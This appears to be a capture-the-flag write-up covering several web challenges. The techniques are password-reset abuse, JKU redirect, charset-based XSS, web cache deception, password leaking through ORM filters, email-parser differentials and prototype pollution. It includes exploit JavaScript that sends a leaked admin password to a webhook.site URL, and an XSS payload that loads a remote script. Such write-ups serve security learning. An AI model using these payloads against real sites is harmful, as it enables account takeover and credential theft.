We are given a page and a email host to receive OTP.
Main goal is to get access as an admin. We can abuse the forget password function to achieve change the admin password due to flaw in implementation.
router.post("/reset-password",async(req,res)=>{const{token,newPassword,email}=req.body;// Added 'email' parameter
if(!token||!newPassword||!email)returnres.status(400).send("Token, email, and new password are required.");try{constreset=awaitgetPasswordReset(token);if(!reset)returnres.status(400).send("Invalid or expired token.");constuser=awaitgetUserByEmail(email);if(!user)returnres.status(404).send("User not found.");awaitupdateUserPassword(user.id,newPassword);awaitdeletePasswordReset(token);res.send("Password reset successful.");}catch(err){console.error("Error resetting password:",err);res.status(500).send("Error resetting password.");}});
It doesnt check the email after all :v so we just get token sent to our email and submit with email of admin.Then we get access !!!
To get the flag , we need to login as finacial email and then dumps all money to get the flag :v
import{getBalancesForUser}from'../services/coinService.js';importfsfrom'fs/promises';constFINANCIAL_CONTROLLER_EMAIL="financial-controller@frontier-board.htb";/**
* Checks if the financial controller's CLCR wallet is drained
* If drained, returns the flag.
*/exportconstcheckFinancialControllerDrained=async()=>{constbalances=awaitgetBalancesForUser(FINANCIAL_CONTROLLER_EMAIL);constclcrBalance=balances.find((coin)=>coin.symbol==='CLCR');if(!clcrBalance||clcrBalance.availableBalance<=0){constflag=(awaitfs.readFile('/flag.txt','utf-8')).trim();return{drained:true,flag};}return{drained:false};};
JKU is a header to specify the position for jwt to extract the PUBLIC KEY to sign the data. But it is polluted with open redirect !!It blocks the open redirect.
if(!jku.startsWith('http://127.0.0.1:1337/')){thrownewError('Invalid token: jku claim does not start with http://127.0.0.1:1337/');}if(!kid){thrownewError('Invalid token: Missing header kid');}if(kid!==KEY_ID){returnnewError('Invalid token: kid does not match the expected key ID');}
But there is a vulnerable route can help us.
fastify.get('/redirect',async(req,reply)=>{const{url,ref}=req.query;if(!url||!ref){returnreply.status(400).send({error:'Missing URL or ref parameter'});}// TODO: Should we restrict the URLs we redirect users to?
try{awaittrackClick(ref,decodeURIComponent(url));reply.header('Location',decodeURIComponent(url)).status(302).send();}catch(error){console.error('[Analytics] Error during redirect:',error.message);reply.status(500).send({error:'Failed to track analytics data.'});}});
It doesnt check the redirect so we can abuse this and perform an JKU redirect to our own PUBLIC key.
def get_contract_manager_password():
try:
contract_manager = User.objects.get(username="contract_manager")
return contract_manager.password
except User.DoesNotExist:
raise ValueError("Contract Manager user does not exist in the database")
def startChromiumBot(url):
print(url, file=sys.stdout)
chrome_options = Options()
chrome_options.binary_location = "/usr/bin/chromium-browser"
chrome_options.add_argument("--headless")
chrome_options.add_argument("--no-sandbox")
chrome_options.add_argument("--disable-dev-shm-usage")
chrome_options.add_argument("--disable-gpu")
chrome_options.add_argument("--disable-software-rasterizer")
chrome_service = Service("/usr/bin/chromedriver")
driver = webdriver.Chrome(service=chrome_service, options=chrome_options)
try:
driver.get('http://127.0.0.1:1337/login')
WebDriverWait(driver, 15).until(
EC.presence_of_element_located((By.ID, "loginBtn"))
)
username = "contract_manager"
password = get_contract_manager_password()
input1 = driver.find_element(By.XPATH, '/html/body/code/section/div/div/div/form/div[1]/input')
input2 = driver.find_element(By.XPATH, '/html/body/code/section/div/div/div/form/div[2]/input')
# Can i abuse this to get password
input1.send_keys(username)
input2.send_keys(password)
submit_button = driver.find_element(By.ID, "loginBtn")
driver.execute_script("arguments[0].click();", submit_button)
driver.get(url)
time.sleep(30)
finally:
driver.quit()
-> This will create a contract_manager account and use it as a bot and then visit our website. We cannot really stole the cookie due to http only but if we can xss , we can call any command of a contract_manager which we wil talk later after finding xss.
So this is the first time I try xss in ruby so i search something and it seems something like :
<%= @a.html_safe %>
This will be vulnerable to xss if we control the @a so I try to find that gadget and there is something here:
# app/helpers/application_helper.rb
module ApplicationHelper
def render_markdown(text)
return '' if text.nil? # Return an empty string if text is nil
# Configure Redcarpet to render Markdown with links and images enabled
renderer = Redcarpet::Render::HTML.new(filter_html: true)
markdown = Redcarpet::Markdown.new(renderer, {
no_intra_emphasis: true,
autolink: true,
tables: true,
fenced_code_blocks: true,
disable_indented_code_blocks: true,
strikethrough: true,
superscript: true
})
# Render Markdown to HTML
markdown.render(text).html_safe
end
end
Yeh , so we find a markdown xss vulnerabilities here. It is rendered in /settings template. Importantly, It will filter all HTML tag and just left the images and link.
So now add some javascript link
[abc](javascript:alert'1')
Well we have xss but it seems a self xss and we cannot call anything like onerror automatically.
But then you can find something interesting in the source code at
# lib/remove_charset_middleware.rb
class RemoveCharsetMiddleware
def initialize(app)
@app = app
end
def call(env)
status, headers, response = @app.call(env)
headers["Content-Type"] = headers["Content-Type"].sub(/; charset=.*$/, '') if headers["Content-Type"]
[status, headers, response]
end
end
You can see , there is no charset specified !!
Damnn, xss with missing charset comes into the play. Just try some \x1b$B and \x1b(B now bro.Here we get ISO-2022-JS ~~ !!.
So this time to configure a payload to call an onerror. After a long time, it will be :
Another problem is how this xss can be visited by contract_manager ?
It is depended on our session and render each own settings right ? So how can it is possible . Now we come to a new technique called Web Cache Depception , you can see this video for more understand.
server {
listen 1337;
server_name _;
# Proxy server forward to localhost:3000 and cache possible
location ~ \.(css|js|jpg|jpeg|png|gif|ico|woff|woff2|ttf|svg|eot|html|json)$ {
proxy_cache my_cache;
proxy_cache_key "$uri$is_args$args";
proxy_cache_valid 200 5m;
proxy_cache_valid 404 1m;
proxy_pass http://127.0.0.1:3000;
proxy_set_header Host $http_host; # Pass original host and port
proxy_set_header X-Forwarded-Proto $scheme;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_http_version 1.1;
add_header X-Cache-Status $upstream_cache_status;
}
location / {
proxy_pass http://127.0.0.1:3000;
proxy_set_header Host $http_host; # Pass original host and port
proxy_set_header X-Forwarded-Proto $scheme;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_http_version 1.1;
add_header X-Cache-Status $upstream_cache_status;
}
}
This is configure to cache our data through a proxy server before forwarding to server. Let me simply explain how web cache works.
First it will check the filename fetched extension before caching it, if the cache isn’t storing any thing , forward the requests to server and get the response then store response cache. Any time after this , ANOTHER calls to the same resources, it will check from cache first and receive data from cache. But we call poison the cache with OUR XSS PAYLOAD !!!.
We can find some bypass based on difference of parsing delemiter between nginx and and ruby. (delimiter in ruby is “.”)
So if we call a request like “/settings.ico” this will matches with “/settings” in ruby !! But it will be cached in proxy cache server !!
We can test it with simple call a GET requests to /settings.ico
Before caching :Successfully caching :
Now everyone gets into settings.ico will be poisonous with our xss !! And as well as the CONTRACT_MANAGER
We had XSS but we cannot stole the cookies like I said before. But we can also call every routes of a contract_manager !! So let’s login as a contract_manager with our Docker for a faster investigate.AS a contact_manager, we have only new Features is FILTERING
Now we need to find what we can leak here by reading it’s relationship establishment.
owner = models.ForeignKey(
settings.AUTH_USER_MODEL,
on_delete=models.CASCADE,
related_name='contracts',
help_text="User who owns the contract"
)
In the Contract model , it has a field owner who owns the contracts !! And we can leak the username password with owner__password__startswith= “randomCharHere” like boolean search.
Here is exploit :
chars="abcdefghijklmnopqrstuvwxyz"adminPassword=""webhook="https://webhook.site/307dd0c2-4733-4e45-954a-009ff8242f3a?a="functionleak(adminPassword){if(adminPassword.length==32){fetch(webhook+adminPassword)}for(letcharofchars){fetch(url+adminPassword+char).then(data=>data.text()).then((data)=>{if(!data.includes("No contracts found based on the current filter.")){adminPassword+=charconsole.log(adminPassword)leak(adminPassword)}})}}leak(adminPassword)
Now we test this script on Dev toolsAnd receive admin password at webhook :
Now combine this with our xss before to create a malicous script src !!
Then report it and receive admin pasword !!
bio :
+\x1B(B+;s.src='http://garrulous-protest.surge.sh/payload.js';document.body.appendChild(s);//)
We successfully leak the admin password so let’s login in
Well so the main idea of Insecure Deserialization is find some gadget to call require to some sink function. This is really hard to find it in a CTF challenge, but it is lucky that there are many researcher find this for us. We can use this right now and I will spend sometime to research it latter . :v
Firstly, we have an login page where we must register with an account and our given email is test@email.htb
Here is the logic for register. It seems just accept the domain interstellar.htb.
constregisterAPI=async(req,res)=>{const{email,password,role="guest"}=req.body;constemailDomain=emailAddresses.parseOneAddress(email)?.domain;if(!emailDomain||emailDomain!=='interstellar.htb'){returnres.status(200).json({message:'Registration is not allowed for this email domain'});}try{awaitUser.createUser(email,password,role);returnres.json({message:"User registered. Verification email sent.",status:201});}catch(err){returnres.status(500).json({message:err.message,status:500});}};
Specially it uses email-address library to parse the email .
constemailAddresses=require('email-addresses');
We can read this from the manual page of email-address
It supports the RFC 5322 and gives us an interesting email format:
“BOB example”<bop@example.com> ? This looks really weird at first sight. With the text in "" is a name of domain.
Read more , we will see that the server again use other library to send email which is NodeMailer
consttransporter=nodemailer.createTransport({host:"127.0.0.1",port:1025,secure:false,});constsendVerificationEmail=async(email,code)=>{constmailOptions={from:"no-reply@interstellar.htb",to:email,subject:"Email Verification",html:`Your verification code is: ${code}`,};try{awaittransporter.sendMail(mailOptions);console.log(`Verification email sent to ${email}`);}catch(error){console.error("Error sending email:",error);thrownewError("Unable to send verification email");}};
Then i try this payload and it works.((I will explain later))
email:' "test@email.htb" @interstellar.htb'
But this wont work ( JUST A SPACE )
email:' "test@email.htb"@interstellar.htb'
This abuse the differences in ways of 2 library parses out our address !!! This will trickyly send to our email kkk !!!
Moreover, in logic requests it seems something vulnerable when setting the default value without actually block it ! We can get admin privilege from this !
const{email,password,role="guest"}=req.body;
Now we try this :
Register with role admin :Login with opt code received from email page:
Transmit API will make a requests to our given url with needle library ? It looks really weird and maybe some hints of this ctf.
EditBountyApis will merge our data with an object ?? Damn, its really clear that here is an Prototype Pollution attack and we need to find some gadgets and maybe it will be exist in the needle.
constfetchURL=async(url)=>{if(!url.startsWith("http://")&&!url.startsWith("https://")){thrownewError("Invalid URL: URL must start with http or https");}constoptions={compressed:true,follow_max:0,};returnnewPromise((resolve,reject)=>{needle.get(url,options,(err,resp,body)=>{if(err){returnreject(newError("Error fetching the URL: "+err.message));}resolve(body);});});};
The needle will call get with url , options ,and a callbacks. After reading the needle library, it seems interesting here.We can use the attribute output to write a any file !!!! So combine this with the prototype pollution we can achive this easily with :
"__proto__":{
"output":"/app/views/index.html"
}
// Write into template files to receive easily
Lets polluted the options :
Now whatever we receive from the calling transmit API will be stored in /app/views/index.html which we can see it !!!Just host a simple page with the payload :
Finally, send this through our url .We overwrite this !!! Now lets check the index.htmlEhh ?? It looks unupdated :vvBut in docker it get changed !!
Maybe we need to triger and update in our app
In the config :
Our app is allowed to restart, so we need to trigger this. We need to make a crash or execption.
consttransmitAPI=async(req,res)=>{const{url}=req.body;if(!url){returnres.status(400).json({message:"URL is required"});}constresponseBody=awaitfetchURL(url);res.status(200).json({message:"Request successful",responseBody,});};
We can abuse this because it doesnt catch any exception. Just send random URL
ANd get the FLAGGGGGGG
I read the source code of nodemailer to figure out this. You could try too at here.
I wont refer to the way of express-addresses work because it just follow the RFC 5322 and our email will be parsed with domain “@interstellar.htb” as expected. So I just focus on the nodemailer
First the command will tokenize our address with following code:
classTokenizer{constructor(str){this.str=(str||'').toString();this.operatorCurrent='';this.operatorExpecting='';this.node=null;this.escaped=false;this.list=[];/**
* Operator tokens and which tokens are expected to end the sequence
*/this.operators={'"':'"','(':')','<':'>',',':'',':':';',// Semicolons are not a legal delimiter per the RFC2822 grammar other
// than for terminating a group, but they are also not valid for any
// other use in this context. Given that some mail clients have
// historically allowed the semicolon as a delimiter equivalent to the
// comma in their UI, it makes sense to treat them the same as a comma
// when used outside of a group.
';':''};}/**
* Tokenizes the original input string
*
* @return {Array} An array of operator|text tokens
*/tokenize(){letlist=[];for(leti=0,len=this.str.length;i<len;i++){letchr=this.str.charAt(i);letnextChr=i<len-1?this.str.charAt(i+1):null;this.checkChar(chr,nextChr);}this.list.forEach(node=>{node.value=(node.value||'').toString().trim();if(node.value){list.push(node);}});returnlist;}/**
* Checks if a character is an operator or text and acts accordingly
*
* @param {String} chr Character from the address field
*/checkChar(chr,nextChr){if(this.escaped){// ignore next condition blocks
}elseif(chr===this.operatorExpecting){this.node={type:'operator',value:chr};if(nextChr&&![' ','\t','\r','\n',',',';'].includes(nextChr)){this.node.noBreak=true;}this.list.push(this.node);this.node=null;this.operatorExpecting='';this.escaped=false;return;}elseif(!this.operatorExpecting&&chrinthis.operators){this.node={type:'operator',value:chr};this.list.push(this.node);this.node=null;this.operatorExpecting=this.operators[chr];this.escaped=false;return;}elseif(['"',"'"].includes(this.operatorExpecting)&&chr==='\\'){this.escaped=true;return;}if(!this.node){this.node={type:'text',value:''};this.list.push(this.node);}if(chr==='\n'){// Convert newlines to spaces. Carriage return is ignored as \r and \n usually
// go together anyway and there already is a WS for \n. Lone \r means something is fishy.
chr=' ';}if(chr.charCodeAt(0)>=0x21||[' ','\t'].includes(chr)){// skip command bytes
this.node.value+=chr;}this.escaped=false;}}
It splits our data into an token array : It will split the " as a operator and our text is just text :v. Then put this token through _handleAddress function.
The logic is really simple and comment makes it readable.
function_handleAddress(tokens){letisGroup=false;letstate='text';letaddress;letaddresses=[];letdata={address:[],comment:[],group:[],text:[]};leti;letlen;// Filter out <addresses>, (comments) and regular text
for(i=0,len=tokens.length;i<len;i++){lettoken=tokens[i];letprevToken=i?tokens[i-1]:null;if(token.type==='operator'){switch(token.value){case'<':state='address';break;case'(':state='comment';break;case':':state='group';isGroup=true;break;default:state='text';break;}}elseif(token.value){if(state==='address'){// handle use case where unquoted name includes a "<"
// Apple Mail truncates everything between an unexpected < and an address
// and so will we
token.value=token.value.replace(/^[^<]*<\s*/,'');}if(prevToken&&prevToken.noBreak&&data[state].length){// join values
data[state][data[state].length-1]+=token.value;}else{data[state].push(token.value);}}}// If there is no text but a comment, replace the two
if(!data.text.length&&data.comment.length){data.text=data.comment;data.comment=[];}if(isGroup){// http://tools.ietf.org/html/rfc2822#appendix-A.1.3
data.text=data.text.join(' ');addresses.push({name:data.text||(address&&address.name),group:data.group.length?addressparser(data.group.join(',')):[]});}else{// If no address was found, try to detect one from regular text
if(!data.address.length&&data.text.length){for(i=data.text.length-1;i>=0;i--){if(data.text[i].match(/^[^@\s]+@[^@\s]+$/)){data.address=data.text.splice(i,1);break;}}let_regexHandler=function(address){if(!data.address.length){data.address=[address.trim()];return' ';}else{returnaddress;}};// still no address
if(!data.address.length){for(i=data.text.length-1;i>=0;i--){// fixed the regex to parse email address correctly when email address has more than one @
data.text[i]=data.text[i].replace(/\s*\b[^@\s]+@[^\s]+\b\s*/,_regexHandler).trim();if(data.address.length){break;}}}}// If there's still is no text but a comment exixts, replace the two
if(!data.text.length&&data.comment.length){data.text=data.comment;data.comment=[];}// Keep only the first address occurence, push others to regular text
if(data.address.length>1){data.text=data.text.concat(data.address.splice(1));}// Join values with spaces
data.text=data.text.join(' ');data.address=data.address.join(' ');if(!data.address&&isGroup){return[];}else{address={address:data.address||data.text||'',name:data.text||data.address||''};if(address.address===address.name){if((address.address||'').match(/@/)){address.name='';}else{address.address='';}}addresses.push(address);}}returnaddresses;}
I will explain this :
STEP 1: It create a data object to store all infomations we have.
letdata={address:[],comment:[],group:[],text:[]};
Step2 : Read the token and read the type of it to set the stage and decide where the following data pushed into the data list.
You can see it just check the “<” at first to decide which one is address so our data wont be caught here!.
Then is some uninteresting features. Until this :
// If no address was found, try to detect one from regular text
// This will run because we dont use < > format
if(!data.address.length&&data.text.length){for(i=data.text.length-1;i>=0;i--){if(data.text[i].match(/^[^@\s]+@[^@\s]+$/)){data.address=data.text.splice(i,1);break;}}let_regexHandler=function(address){if(!data.address.length){data.address=[address.trim()];return' ';}else{returnaddress;}};// still no address
// Here we step into this
if(!data.address.length){for(i=data.text.length-1;i>=0;i--){// fixed the regex to parse email address correctly when email address has more than one @
data.text[i]=data.text[i].replace(/\s*\b[^@\s]+@[^\s]+\b\s*/,_regexHandler).trim();if(data.address.length){break;}}}
Author comments make me know what to do here. If there isn’t the address parsed, It will use regrex to find our email.